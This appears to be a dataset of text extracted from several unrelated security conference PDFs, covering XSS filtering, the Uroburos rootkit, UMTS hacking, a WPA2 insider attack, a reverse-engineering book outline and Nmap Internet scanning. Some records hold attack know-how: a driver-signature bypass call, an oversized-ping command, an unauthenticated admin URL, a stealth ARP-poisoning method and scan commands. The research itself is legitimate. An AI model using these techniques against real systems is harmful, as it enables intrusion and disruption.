Server XSS Filter XSS Escape Web Page ◎ 把要處理的資料分做黑、白名單兩大列表：白名單存放可信賴的、無威脅的資料；黑名單則相反。 ◎ 其實就是一段精心編寫的過濾函式。 ◎ 還是很容易被繞過 OTZ 39 ◎ 驗證：設定格式、數字範圍、字數限制等 ◎ 數據消毒：過濾一些敏感字元：< > ' " & # ◎ Javascript Expression：顯示實體名字實體編號 < < &#60: > > &#62: & & & " " " 40 ◎ 別亂點陌生人給的連結 ◎ 禁用 JavaScript • 網頁會變得難用 41	pdf
Consumer Automotive Technology Retail Life Sciences & Healthcare Energy & Chemicals Uroburos Paul Rascagneres Senior Threat Researcher GDATA SecurityLabs Page Uroburos \| HITCON \| August 2014 Uroburos is a rookit revealed to the public by G DATA in February 2014. The purpose of the rootkit is to maintain remote access to the infected machine and steal sensitive data. Here are the features of this rootkit: - use of function hooking, to hide its activities - Deep Packet Inspection (DPI), to monitor the network - bypass kernel protection, to load and execute the driver - use of virtual file system, to store configuration and data - … 2 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Uroburos’ name Uroburos is a direct reference to the Greek word Ouroboros (Οὐροβόρος). The Ouroboros is an ancient symbol depicting a serpent or dragon eating its own tail. 3 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Rootkit composition The rootkit is composed of two files: - .sys file (the Microsoft Windows driver 32/64 bits) - .dat file (the encrypted virtual file system) 4 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 The driver The loaded driver: 5 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 The driver The loaded driver: 6 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 The driver The loaded driver: 7 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Hooking To hide its activity and its presence, the driver sets several hooks by modifying the beginning of the function with an interrupt (0x3C): kd> ? IoCreateDevice Evaluate expression: -2103684120 = 829c53e8 kd> u 829c53e8 nt!IoCreateDevice: 829c53e8 6a01 push 1 829c53ea cdc3 int 0C3h 829c53ec ec in al,dx 829c53ed 83e4f8 and esp,0FFFFFFF8h 829c53f0 81ec94000000 sub esp,94h 829c53f6 a14cda9282 mov eax,dword ptr [nt!__security_cookie (8292da4c)] 829c53fb 33c4 xor eax,esp 829c53fd 89842490000000 mov dword ptr [esp+90h],eax 8 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Hooking The Interrupt Descriptor Table (idt): kd> !idt Dumping IDT: 80b95400 3194895000000030: 82c27ca4 hal!Halp8254ClockInterrupt (KINTERRUPT …) 3194895000000031: 8486b058 i8042prt!I8042KeyboardInterruptService (KINTERRUPT 3194895000000038: 82c18c6c hal!HalpRtcProfileInterrupt (KINTERRUPT …) 3194895000000039: 8486bcd8 ACPI!ACPIInterruptServiceRoutine (KINTERRUPT …) 319489500000003a: 85afd7d8 ndis!ndisMiniportIsr (KINTERRUPT 85afd780) 319489500000003b: 8486b558 ataport!IdePortInterrupt (KINTERRUPT 8486b500) 319489500000003c: 85afdcd8 i8042prt!I8042MouseInterruptService (KINTERRUPT…) 319489500000003e: 8486ba58 ataport!IdePortInterrupt (KINTERRUPT 8486ba00) 319489500000003f: 8486b7d8 ataport!IdePortInterrupt (KINTERRUPT 8486b780) 31948950000000c3: 859e84f0 9 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Hooking Code available at 0x859e84f0: 10 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Hooking Python script to list the hooks: 11 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Hooking The list of the ntoskrnl.exe hooked functions (the hooked feature): nt!NtCreateKey (registry) nt!NtQueryInformationProcess (process) nt!NtQuerySystemInformation (system information) nt!ObOpenObjectByName (driver) nt!NtClose (file/process/event/…) nt!IoCreateDevice (driver) nt!NtEnumerateKey (registry) nt!NtShutdownSystem (system) nt!NtTerminateProcess (process) nt!IofCallDriver (driver) nt!NtQueryKey (registry) nt!NtCreateUserProcess (process) nt!NtCreateThread (process) nt!NtSaveKey (registry) nt!NtReadFile (file system) 12 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Windows Filtering Platform (WFP) The WFP is a set of API and system services which provides a platform for creating network filtering applications. In our case, the rootkit uses this technology to perform Deep Packet Inspection (DPI) and modifications of the network flow. The purpose of this device is to intercept relevant data as soon as a connection to the Command & Control server or other local infected machines used as relay is established and to receive commands. 13 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Windows Filtering Platform (WFP) 14 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Windows Filtering Platform (WFP) The filter parses HTTP and SMTP traffic (other protocols can easily be supported). To identify the Uroburos traffic, the rootkit decrypts the network flow and looks for data starting with: - 0xDEADBEEF - 0xC001BA5E The intercepted data is forwarded to the user land by using named pipe. 15 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Virtual file systems Uroburos uses two virtual file systems: FAT32 & NTFS. During our analysis, the first one was never used (maybe a legacy mode). The second one is the decrypted .dat file (CAST- 128 encryption). The volume can be accessed by: \\.\Hd1\ The file system contains a queue file, log files, additional tools (reconnaissance tools)… 16 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Virtual file systems 17 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Virtual file systems 18 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Virtual file systems 19 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Queue file On the virtual file system we have a particularly interesting file: \\.\Hd1\queue This file contains the rootkit configuration, encryption key, addition dll, ex-filtrated data… These dll are injected in user land by the rootkit (for example in the browsers to steal sensitive information). 20 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 User land injected libraries The injected libraries are used to communicate to the Command & Control servers, steal information… These file are used to create a kind of “proxy” between the kernel land and the user land. The libraries are: inj_snake_Win32.dll and inj_services_Win32.dll. From the user land point of view, the protocol used for the C&C communication can be: - HTTP - SMTP - ICMP - … 21 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Bypass of the kernel protection The first bypassed protection is the Kernel Patch Protection (aka PatchGuard). This protection checks the integrity of the Windows kernel to make sure that no critical parts are modified. If a modification is detected, the KeBugCheckEx() (with the code 0x109 CRITICAL_STRUCTURE_CORRUPTION) is executed and the system is shutdown with a blue screen. The rootkit bypasses this protection, the rootkit hooks the KeBugCheckEx() function to avoid handling the code 0x109. 22 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Bypass of the kernel protection The second bypassed protection is the Driver Signature Enforcement. To avoid loading malicious drivers, Microsoft created this technology for its 64-bit versions of Windows Vista and later versions. To load a driver, the .sys file must be signed by a legitimate publisher. The flag to identify whether the protection is enable or not is g_CiEnabled . The rootkit’s driver is not signed but it still loaded. 23 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Bypass of the kernel protection To bypass the Signature Driver Enforcement, the attackers use a legitimate, signed driver (in our case VirtualBox driver) and exploit a vulnerability to switch arbitrary memory address to 0. In our case, the address of the flag g_CiEnabled to switch off the protection. The used CVE is CVE-2008-3431. The VirtualBox driver is presently expired. Before: kd> dq nt!g_cienabled -> fffff800`02e45eb8 00000001 After: kd> dq nt!g_cienabled -> fffff800`02e45eb8 00000000 24 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Bypass of the kernel protection The Signature Driver Enforcement bypass step by step: - the malware opens the VBoxDrv symbolic link; - it loads ntoskrnl.exe; - it locates g_CiEnabled; - it uses DeviceIoControl() to switch arbitrary address to 0 For example: DeviceIoControl(VBoxDrv, SUP_IOCTL_FAST_DO_NOP, g_CiEnabledAddr, 0, g_CiEnabledAddr, 0, &cb, NULL) 25 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Bypass of the kernel protection The VirtualBox driver is presently expired. What about the signature’s revocation of legacy software or vulnerable software? 26 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Other exploits In the dropper, we can find several resources sections. These resources contain exploits to obtain administrator privileges (to be able to install and load the driver). For example MS09-025 or MS10-015. 27 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Command & Controls The attackers seem to use two kinds of C&C: - dedicated servers - legitimate compromised web sites (water holing) (TYPO3 CMS) Thanks to the use of the WFP mechanism, we can imagine infected machines without any C&C hardcoded in the malware. The filter simply waits for the network pattern. The fact that the malware uses local, infected systems as relay adds complexity, too. For incident response point of view, the identification and containment can become a nightmare… 28 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Command & Controls Source: Kaspersky 29 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Infection vectors •Spear phishing e-mails with Adobe PDF exploits (CVE-2013-3346 + CVE-2013-5065) •Social engineering to trick the user into running malware installers with ".SCR" extension, sometimes packed with RAR •Watering hole attacks using Java exploits (CVE-2012-1723), Flash exploits (unknown) or Internet Explorer 6,7,8 exploits (unknown) •Watering hole attacks that rely on social engineering to trick the user into running fake "Flash Player" malware installers Source: Kaspersky 30 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Targets In February 2014, we mentioned in our report: “Due to the complexity of the Uroburos rootkit, we estimate that it was designed to target government institutions, research institutions or companies dealing with sensitive information as well as similar high-profile targets.“ 31 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Targets In May 2014: 32 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Targets In August 2014: Government (Ministry of interior (EU country), Ministry of trade and commerce (EU country), Ministry of foreign/external affairs (Asian country, EU country), Intelligence (Middle East, EU Country)), Embassies, Military (EU country) Education Research (Middle East) Pharmaceutical companies Source: Kaspersky 33 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Attribution During our analysis we found some technical links connecting Uroburos to Agent.Btz: - Encryption key - Usage of the same file name - Check whether Agent.Btz is installed on the system - Use of Russian language and user names (vlad, gilg, urik…) 34 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Attribution In an article published by Reuters, in 2011, the journalist mentioned that “U.S. government strongly suspects that the original attack was crafted by Russian Intelligence.” With the last elements presented by Belgian journalists, concerning the attack against the Ministry of Foreign Affairs, the Russian roots are further confirmed. 35 Uroburos rootkit Page Uroburos \| HITCON \| August 2014 Thank you for your attention! Questions? 36 Uroburos rootkit	pdf
The future frontier of Hacking - UMTS mobile phone platform Web intrusions: the best indicator of the vulnerable status of the Internet Speaker: SyS64738 www.zone-h.org Zone-H.org Zone-H.org Zone-H.org: the Internet thermometer? Zone-H.org SECURE HACKABLE F#CKABLE Digital attacks amount since 2002 1600 1811 2341 3652 3907 3468 4175 5279 9884 14575 12739 16393 16724 15638 16924 17329 25273 0 5000 10000 15000 20000 25000 30000 2002- 01 2002- 02 2002- 03 2002- 04 2002- 05 2002- 06 2002- 07 2002- 08 2002- 09 2002- 10 2002- 11 2002- 12 2003- 01 2003- 02 2003- 03 2003- 04 2003- 05 Date Digital attacks amount Zone-H.org attacks techniques and tools Zone-H.org 2003 top used vulnerabilities by attackers -Webdav - Samba -Frontpage extensions - Php nuke -Openssl Zone-H.org Defacement reasons 0 2000 4000 6000 8000 10000 12000 2002- 07 2002- 08 2002- 09 2002- 10 2002- 11 2002- 12 2003- 01 2003- 02 2003- 03 2003- 04 2003- 05 For fun Revenge Political Challenge Wannabe Patriotism Zone-H.org Defacements by OS 0 5000 10000 15000 20000 25000 2002-01 2002-02 2002-03 2002-04 2002-05 2002-06 2002-07 2002-08 2002-09 2002-10 2002-11 2002-12 2003-01 2003-02 2003-03 2003-04 2003-05 Win98/NT Win2K WinXP/.NET/2003 Linux BSD family Solaris family Zone-H.org Defacements by OS (single IP) 0 1000 2000 3000 4000 5000 6000 7000 2002-01 2002-02 2002-03 2002-04 2002-05 2002-06 2002-07 2002-08 2002-09 2002-10 2002-11 2002-12 2003-01 2003-02 2003-03 2003-04 2003-05 Win98/NT Win2K Linux BSD family Solaris family CYBERFIGHTS Kashmir related Iraq war related Code red release related Palestine-Israel related No-Global related Zone-H.org CYBERFIGHTS Kashmir related Iraq war related Code red release related Palestine-Israel related No-Global related Zone-H.org CYBERFIGHTS Kashmir related Iraq war related Code red release related Palestine-Israel related No-Global related Zone-H.org CYBERFIGHTS Kashmir related Iraq war related Code red release related Palestine-Israel related No-Global related Zone-H.org CYBERFIGHTS Kashmir related Iraq war related Code red release related Palestine-Israel related No-Global related Zone-H.org CYBERFIGHTS Kashmir related Iraq war related Code red release related Palestine-Israel related No-Global related Zone-H.org CYBER-CRIMES ARE CONVENIENT BECAUSE: • Lack of IT laws • Lack of L.E. international cooperation • ISPs are non-transparent CYBER-PROTESTS ARE CONVENIENT BECAUSE: • General lack of security • No need to protest on streets • No direct confrontation with L.E. Zone-H.org CYBER-CRIMES WILL NEVER STOP BECAUSE: • Inherent slowness of the Institutions • The Internet is getting more complicated • Software producers are facing a market challenge Zone-H.org UMTS Traditional hacker’s limited world Our every day's life activities Universal Mobile Telecommunication System UMTS vs Wi-Fi (P.A.P.) why not? • 80.000.000.000 USD paid for UMTS licenses and tight development plans will force Telecoms to spread the UMTS service as fast as possible offering connectivity at a very convenient price. Zone-H.org The UMTS 3G platform • Videoconference • Full multi-media platform • Data bank • Office files • Mobile computing • Web browsing Zone-H.org NO LIMITS: they will do whatever a PC currently does as they will be powered by Windows, Linux and other commercial OSs + + + Zone-H.org + + + = Zone-H.org The conceptual weaknesses in UMTS •Weakly built operative system •Memory stacked application and data Win pocket PC running memory stack low high prg 1 prg 2 prg 3 prg 4 prg 5 etc… Win pocket PC storing memory stack 1 2 3 4 … How UMTS works Zone-H.org USIM Wireless node Radio network controller ATM network 128bit Key 128bit Key Mobile switching center Visiting location register Encrypted area Telephone network How UMTS works Zone-H.org USIM Wireless node Radio network controller ATM network 128bit Key 128bit Key Mobile switching center Visiting location register Encrypted area Telephone network http://lasecwww.epfl.ch/newtechnologies/slides8.pdf How crackers will exploit UMTS • Using OS security flaws • Through open ports • Virus (mail, downloaded prgs) • Trojan (mail, downloaded prgs) • Using components flaws (media player browser, active sync etc.) • Webserver flaws • Exploiting application level Zone-H.org DIRECT DAMAGES • Loss of precious information • Denial of service (received) • Denial of service (attack), $$$ loss • Espionage (loss of documents) • Eavesdropping (audio and video) • Unauthorized online shopping • Bank account unauthorized access Zone-H.org Zone-H.org Zone-H.org Zone-H.org Zone-H.org Zone-H.org Zone-H.org Zone-H.org ZH2003-5SA windows beta webserver for pocket pc: full remote access The default installation of windows beta webserver allows an attacker to gain full remote access without authentication simply logging to http://attacked_host/admin Privacy threat • Cyber-stalking (GPS) • Cyber-stalking (last node ID) • Direct targeting . The wideband nature of the UTRA/FDD facilitates the high resolution in position location. The duration of one chip (3.84Mcps) correspond to approximately 78 meters in propagation distance. If the delay estimation operates on the accuracy of samples/chip then the achievable maximum accuracy is approximately 20 meters. Zone-H.org What a UMTS hacker should study: links • http://www.tutorgig.com/searchtgig.jsp?query=um ts (several tutorials) • http://www.ericsson.de/downloads/pressenews/pra esentation_cornelius_boylan.pdf • http://lasecwww.epfl.ch/newtechnologies/slides8.p df (excellent paper) • http://www.sans.org/rr/paper.php?id=253 • http://www.pocketpcdn.com/ • http://www.itsx.com/pocketpc/BH-AMS-2003- itsx.ppt • http://www.3gpp.org/specs/titles-numbers.htm (all 3G specs and current releases) Zone-H.org Home automation H.A.S. WORLD UMTS WORLD (EIBA, X10) The Internet refrigerator The fridge’s built-in PC is a low-spec affair based on a 300MHz National Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk. The Internet refrigerator The fridge’s built-in PC is a low-spec affair based on a 300MHz National Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk. It runs a modified version of Windows 98 The Internet refrigerator The fridge’s built-in PC is a low-spec affair based on a 300MHz National Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk. It runs a modified version of Windows 98 Ping –l 65535 xxx.xxx.xxx.xxx The Internet oven HONEY, OUR THANKSGIVING TURKEY HAS BEEN BURNED BY A PAKISTANI CYBERFIGHTER IN RETALIATION OF THE KASHMIR TERRITORY OCCUPATION … Are we now scared about the implementation of these new technologies? What system will be invented to let us feel secure and keep our privacy safe? Is there anyone who can help me to get rid of these techno-nightmares? Zone-H.org Call 1-800-AMISH !!! SyS64738 Zone-H.org [email protected]	pdf
WPA TOO ! Md Sohail Ahmad AirTight Networks www.airtightnetworks.com About the Speaker 2007, Toorcon9 2009, Defcon 17 2008, Defcon 16 Caffe Latte Attack Autoimmunity Disorder in Wireless LANs WiFish Finder: Who will bite the bait? 2010, Defcon 18 WPA TOO ! Defcon 18 WPA2 is vulnerable under certain conditions. This limitation, though known to the designers of WPA2, is not well understood or appreciated by WiFi users. In this talk, I am going to show that exploits are possible using off the shelf tools with minor modifications. About the Talk Background WEP, the one and only security configuration present in the original 802.11 standard, was cracked in 2001. Since then several attacks on WEP have been published and demonstrated Nowadays most WLANs are secured with a much better and robust security protocol called WPA2. Interestingly, WPA2 is also being used to secure Guest WiFi, Municipal WiFi (e.g. GoogleWiFi Secure) and Public WiFi (e.g. T- Mobile or AT&T WiFi Hotspot) networks. Defcon 18 Is WPA2 safe to be used in WiFi networks? Defcon 18 2003 PSK Vulnerability 2004 PSK cracking tool, Eavesdropping 2008 TKIP Vulnerability PEAP Mis-config Vulnerability Known attacks on WPA/WPA2 Attack on Pre-Shared Key (PSK) Authentication Attack on 802.1x Authentication Attack on Encryption Implications: Eavesdropping Unauthorized Access to the network Implications: Client compromise Implications: Injection of small size frames to create disruption Defcon 18 1. Do not use PSK authentication in other than private/home network (Solves PSK Vulnerability) 2. Do not ignore certificate validation check in client’s configuration (Solves Client Vulnerability) 3. Use AES encryption (Solves TKIP Vulnerability) Solution Is WPA2 safe to be used in WiFi networks? Defcon 18 Encryption in WPA2 Defcon 18 Encryption Keys Two types of key for data encryption 1. 1. Pairwise Key (PTK) 2. 2. Group Key (GTK) While PTK is used to protect unicast data frames , GTK is used to protect group addressed data frames e.g. broadcast ARP request frames. Defcon 18 GTK is shared among all associated clients Client 1 Client 1 PTK = PTK1 Client 1 Group key = K1 Client 2 Client 2 PTK = PTK2 Client 2 Group key = K1 Client 3 Client 3 PTK = PTK3 Client 3 Group key = K1 Three connected clients New client Your Group key is K1 Defcon 18 Group addressed traffic in a WLAN Group addressed 802.11 data frames are always sent by an access point and never sent by a WiFi client GTK is designed to be used as an encryption key in the AP and as a decryption key in the client ToDS “Broadcast ARP Req” frame Address 1 (or Destination MAC) = AP/BSSID MAC From DS “Broadcast ARP Req” frame Address 1 (or Destination MAC) = FF:FF:FF:FF:FF:FF Defcon 18 What if a client starts using GTK for group addressed frame encryption? Defcon 18 Is it possible for a client to send forged group addressed data frames? From DS “Broadcast ARP Req.” frame Actually injected by a client Address 1 (or Destination MAC) = FF:FF:FF:FF:FF:FF Defcon 18 Console log of a WiFi user’s machine Parameters (GTK, KeyID and PN) required to send group addressed data frame is known to all connected clients. A malicious user can always create fake packets Defcon 18 WPA2 secured WiFi networks are vulnerable… Malicious insider can inject forged group addressed data traffic Legitimate clients can never detect data forgery …to Insider Attack Client Malicious Insider Defcon 18 Implications  Stealth mode ARP Poisoning/Spoofing attack  Traffic snooping  Man in the Middle (MiM): How about “Aurora” ?  IP layer DoS attack  IP level targeted attack  TCP reset, TCP indirection, Port scanning, malware injection, privilege escalation etc. etc.  Wireless DoS attack  Blocks downlink broadcast data frame reception Defcon 18 Stealth mode ARP Poisoning 1. Attacker injects fake ARP packet to poison client’s cache for gateway. The ARP cache of victim gets poisoned. For victim client Gateway is attacker’s machine. 2. Victim sends all traffic to attacker 3. Now attacker can either drop traffic or forward it to actual gateway 1 2 Target Attacker 3 I am the Gateway Wired LAN Defcon 18 ARP Poisoning Attack: Normal vs Stealth Mode Target Attacker I am the Gateway Wired LAN Target Attacker Wired LAN Normal Stealth Mode ARP poisoning frames appear on wire through AP. Chances of being caught is high. ARP poisoning frames invisible to AP, never go on wire. Can’t be detected by any ARP cache poison detection tool. Defcon 18 IP Level Targeted Attack Defcon 18 PN or Packet Number in CCMP Header 48 bit Packet Number (PN) is present in all CCMP encrypted DATA frames Legitimate client Access Point Replay Attack Detection in WPA2 PN=701 1. All clients learn the PN associated with a GTK at the time of association 2. AP sends a group addressed data frame to all clients with a new PN 3. If new PN > locally cached PN than packet is decrypted and after successful decryption, old PN is updated with new PN Expecting PN >700 Defcon 18 Wireless DoS Attack (WDoS) Defcon 18 Demo: Stealth mode attack A live demo of the exploit will be done during presentation Defcon 18 Prevention & Countermeasures Defcon 18 Endpoint Security Client software such as DecaffeintID or Snort can be used to detect ARP cache poisoning. Detects ARP Cache Poisoning attack Defcon 18 Limitations Smartphones Varieties of client device which connect to WPA2 secured WiFi networks while software is available only for either Windows or Linux running devices Operating Systems Hardware Defcon 18 Infrastructure Side Public Secure Packet Forwarding (PSPF)/peer-to-peer (P2P) or Client Isolation Client A Client B X AP does not forward A’s packet to B The feature can be used to stop communication between two WiFi enabled client devices Defcon 18 Limitations Not all standalone mode APs or WLAN controllers have built-in PSPF or client isolation capabilities PSPF or Client Isolation does not always work - It does not work across APs in standalone mode - In controller based architecture, PSPF (peer2peer) does not work across controllers even the controllers are present in the same mobility group Attacker can always use WiFi client to launch attack and setup a non-WiFi host to serve the victim and easily bypass PSPF/Client isolation Defcon 18 Long Term Solution: Protocol Enhancement Deprecate use of GTK and group addressed data traffic from AP 1. Convert all group addressed data traffic into unicast traffic 2. For backward compatibility AP should send randomly generated different GTKs to different clients so that all associated clients have different copies of group key Disadvantages: a. Brings down total network throughput b. Requires AP software upgrade Defcon 18 Key Take Away  WPA2 – secure, but vulnerable to insider attack!  This limitation known to WPA2 designers, but not well understood by WiFi users  Countermeasures can be deployed wherever threat of insider attacks is high  Using endpoint security; or  Using wireless traffic monitoring using WIPS sensors Defcon 18 Thank You! Md Sohail Ahmad Email: [email protected] www.airtightnetworks.com For up-to-date information on developments in wireless security, visit blog.airtightnetworks.com Defcon 18 References [1] Task Group I, IEEE P802.11i Draft 10.0. Project IEEE 802.11i, 2004. [2] Aircrack-ng www.aircrack-ng.org [3] PEAP: Pwned Extensible Authentication Protocol http://www.willhackforsushi.com/presentations/PEAP_Shmoocon2008_Wright_Antoniewicz.pdf [4]. WPA/WPA2 TKIP Exploit: Tip of the Iceberg? www.cwnp.com/pdf/TKIPExploit08.pdf [5]. Cisco’s PSPF or P2P http://www.cisco.com/en/US/products/hw/wireless/ps430/products_qanda_item09186a00806a4da 3.shtml [6] Client isolation http://www.cisecurity.org/tools2/wireless/CIS_Wireless_Addendum_Linksys.pdf [7]. The Madwifi Project http://madwifi-project.org/ Defcon 18 References [8]. Host AP Driver http://hostap.epitest.fi/ [9]. ARP Cache Poisoning http://www.grc.com/nat/arp.htm [10] Detecting Wireless LAN MAC Address Spoofing http://forskningsnett.uninett.no/wlan/download/wlan-mac-spoof.pdf [11]. DecaffeinatID http://www.irongeek.com/i.php?page=security/decaffeinatid-simple-ids-arpwatch-for- windows&mode=print [12] SNORT http://www.snort.org/ [13]. Wireless Hotspot Security http://www.timeatlas.com/Reviews/Reviews/Wireless_Hotspot_Security	pdf
封面书名版权前言目录第一部分准备工作第1 章熟悉工作环境和相关工具 1 . 1 调试工具Mi c r o s o f t V i s u a l C + + 6 . 0 和O l l y D B G 1 . 2 反汇编静态分析工具I D A 1 . 3 反汇编引擎的工作原理 1 . 4 本章小结第二部分C + + 反汇编揭秘第2 章基本数据类型的表现形式 2 . 1 整数类型 2 . 1 . 1 无符号整数 2 . 1 . 2 有符号整数 2 . 2 浮点数类型 2 . 2 . 1 浮点数的编码方式 2 . 2 . 2 基本的浮点数指令 2 . 3 字符和字符串 2 . 3 . 1 字符的编码 2 . 3 . 2 字符串的存储方式 2 . 4 布尔类型 2 . 5 地址、指针和引用 2 . 5 . 1 指针和地址的区别 2 . 5 . 2 各类型指针的工作方式 2 . 5 . 3 引用 2 . 6 常量 2 . 6 . 1 常量的定义 2 . 6 . 2 # d e f i n e 和c o n s t 的区别 2 . 7 本章小结第3 章认识启动函数，找到用户入口 3 . 1 程序的真正入口 3 . 2 了解V C + + 6 . 0 的启动函数 3 . 3 ma i n 函数的识别 3 . 4 本章小结第4 章观察各种表达式的求值过程 4 . 1 算术运算和赋值 4 . 1 . 1 各种算术运算的工作形式 4 . 1 . 2 算术结果溢出 4 . 1 . 3 自增和自减 4 . 2 关系运算和逻辑运算 4 . 2 . 1 关系运算和条件跳转的对应 4 . 2 . 2 表达式短路 4 . 2 . 3 条件表达式 4 . 3 位运算 4 . 4 编译器使用的优化技巧 4 . 4 . 1 流水线优化规则 4 . 4 . 2 分支优化规则 4 . 4 . 3 高速缓存（c a c h e ）优化规则 4 . 5 一次算法逆向之旅 4 . 6 本章小结第5 章流程控制语句的识别 5 . 1 i f 语句 5 . 2 i f ⋯ e l s e ⋯ 语句 5 . 3 用i f 构成的多分支流程 5 . 4 s w i t c h 的真相 5 . 5 难以构成跳转表的s w i t c h 5 . 6 降低判定树的高度 5 . 7 d o / w h i l e / f o r 的比较 5 . 8 编译器对循环结构的优化 5 . 9 本章小结第6 章函数的工作原理 6 . 1 栈帧的形成和关闭 6 . 2 各种调用方式的考察 6 . 3 使用e b p 或e s p 寻址 6 . 4 函数的参数 6 . 5 函数的返回值 6 . 6 回顾 6 . 7 本章小结第7 章变量在内存中的位置和访问方式 7 . 1 全局变量和局部变量的区别 7 . 2 局部静态变量的工作方式 7 . 3 堆变量 7 . 4 本章小结第8 章数组和指针的寻址 8 . 1 数组在函数内 8 . 2 数组作为参数 8 . 3 数组作为返回值 8 . 4 下标寻址和指针寻址 8 . 5 多维数组 8 . 6 存放指针类型数据的数组 8 . 7 指向数组的指针变量 8 . 8 函数指针 8 . 9 本章小结第9 章结构体和类 9 . 1 对象的内存布局 9 . 2 t h i s 指针 9 . 3 静态数据成员 9 . 4 对象作为函数参数 9 . 5 对象作为返回值 9 . 6 本章小结第1 0 章关于构造函数和析构函数 1 0 . 1 构造函数的出现时机 1 0 . 2 每个对象都有默认的构造函数吗 1 0 . 3 析构函数的出现时机 1 0 . 4 本章小结第1 1 章关于虚函数 1 1 . 1 虚函数的机制 1 1 . 2 虚函数的识别 1 1 . 3 本章小结第1 2 章从内存角度看继承和多重继承 1 2 . 1 识别类和类之间的关系 1 2 . 2 多重继承 1 2 . 3 虚基类 1 2 . 4 菱形继承 1 2 . 5 本章小结第1 3 章异常处理 1 3 . 1 异常处理的相关知识 1 3 . 2 异常类型为基本数据类型的处理流程 1 3 . 3 异常类型为对象的处理流程 1 3 . 4 识别异常处理 1 3 . 5 本章小结第三部分逆向分析技术应用第1 4 章P E i D 的工作原理分析 1 4 . 1 开发环境的识别 1 4 . 2 开发环境的伪造 1 4 . 3 本章小结第1 5 章“ 熊猫烧香” 病毒逆向分析 1 5 . 1 调试环境配置 1 5 . 2 病毒程序初步分析 1 5 . 3 “ 熊猫烧香” 的启动过程分析 1 5 . 4 “ 熊猫烧香” 的自我保护分析 1 5 . 5 “ 熊猫烧香” 的感染过程分析 1 5 . 6 本章小结第1 6 章调试器O l l y D B G 的工作原理分析 1 6 . 1 I N T 3 断点 1 6 . 2 内存断点 1 6 . 3 硬件断点 1 6 . 4 异常处理机制 1 6 . 5 加载调试程序 1 6 . 6 本章小结第1 7 章反汇编代码的重建与编译 1 7 . 1 重建反汇编代码 1 7 . 2 编译重建后的反汇编代码 1 7 . 3 本章小结	pdf
django 写bugbounty平台登陆⻚⾯登陆后点击“项⽬” 新增/修改项⽬项⽬概览点击任意项⽬后进⼊项⽬概览，这⾥修改了 django 的路由以及新增了⾃⼰的⻚⾯，⽬前是该项⽬的 DNS 展示。	pdf
Insecure.Org Insecure.Org Nmap: Scanning the Internet by Fyodor Black Hat Briefings USA – August 6, 2008; 10AM Defcon 16 – August 8, 2008; 4PM Insecure.Org Insecure.Org Abstract The Nmap Security Scanner was built to efficiently scan large networks, but Nmap's author Fyodor has taken this to a new level by scanning millions of Internet hosts as part of the Worldscan project. He will present the most interesting findings and empirical statistics from these scans, along with practical advice for improving your own scan performance. Additional topics include detecting and subverting firewall and intrusion detection systems, dealing with quirky network configurations, and advanced host discovery and port scanning techniques. A quick overview of new Nmap features will also be provided. Insecure.Org Insecure.Org Old Slide Disclaimer These slides were due in June, when I was still running scans and at least a month away from finishing analasys. So while the topic isn't changing, the final slides will differ materially from these. These slides are from the inaugural Black Hat Webcast with Jeff Moss on June 26, 2008. The webcast gives a good overview of the talk and describes some valuable early results of the scanning. The video is scheduled to be posted at http://blackhat.com in early July. Insecure.Org Insecure.Org Planning the Big Scan • Determining IP addresses to scan • P2P Scanning? • Legal Issues • Firewalls • Performance Insecure.Org Insecure.Org Scan Results • Scans are still running • Some tentative results already available, and can improve scan performance. Insecure.Org Insecure.Org Best TCP Ports for Host Discovery • Echo request, and even Nmap default discovery scans are insufficient for Internet scanning. • Adding more TCP SYN and ACK probes can help, but which ports work the best? Insecure.Org Insecure.Org Top 10 TCP Host Discovery Port Table • 80/http • 25/smtp • 22/ssh • 443/https • 21/ftp • 113/auth • 23/telnet • 53/domain • 554/rtsp • 3389/ms-term-server Insecure.Org Insecure.Org Default Host Discovery Effectiveness # nmap -n -sL -iR 50000 -oN - \| grep "not scanned" \| awk '{print $2}' \| sort -n > 50K_IPs # nmap -sP -T4 -iL 50K_IPs Starting Nmap ( http://nmap.org ) Host dialup-4.177.9.75.Dial1.SanDiego1.Level3.net (4.177.9.75) appears to be up. Host dialup-4.181.100.97.Dial1.SanJose1.Level3.net (4.181.100.97) appears to be up. Host firewall2.baymountain.com (8.7.97.2) appears to be up. [thousands of lines cut] Host 222.91.121.22 appears to be up. Host 105.237.91.222.broad.ak.sn.dynamic. 163data.com.cn (222.91.237.105) appears to be up. Nmap done: 50000 IP addresses (3348 hosts up) scanned in 1598.067 seconds Insecure.Org Insecure.Org Enhanced Host Discovery Effectiveness # nmap -sP -PE -PP -PS21,22,23,25,80,113,31339 -PA80,113,443,10042 --source-port 53 -T4 -iL 